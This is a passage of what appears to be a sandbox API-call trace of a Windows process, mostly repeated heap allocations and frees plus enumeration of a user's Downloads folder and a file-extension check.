Flags=0x0, Size=0x820) returned 0x3109120 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.914] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.914] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.915] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.915] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0268.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0268.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0268.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.916] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0268.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0268.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0268.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0268.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0268.916] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0268.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0268.916] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0268.916] PathFindFileNameW (pszPath="") returned="" [0268.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.916] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0268.916] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.916] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.917] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.917] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.917] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0268.917] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.917] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.917] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.918] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.919] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.919] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.920] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0268.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0268.923] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: 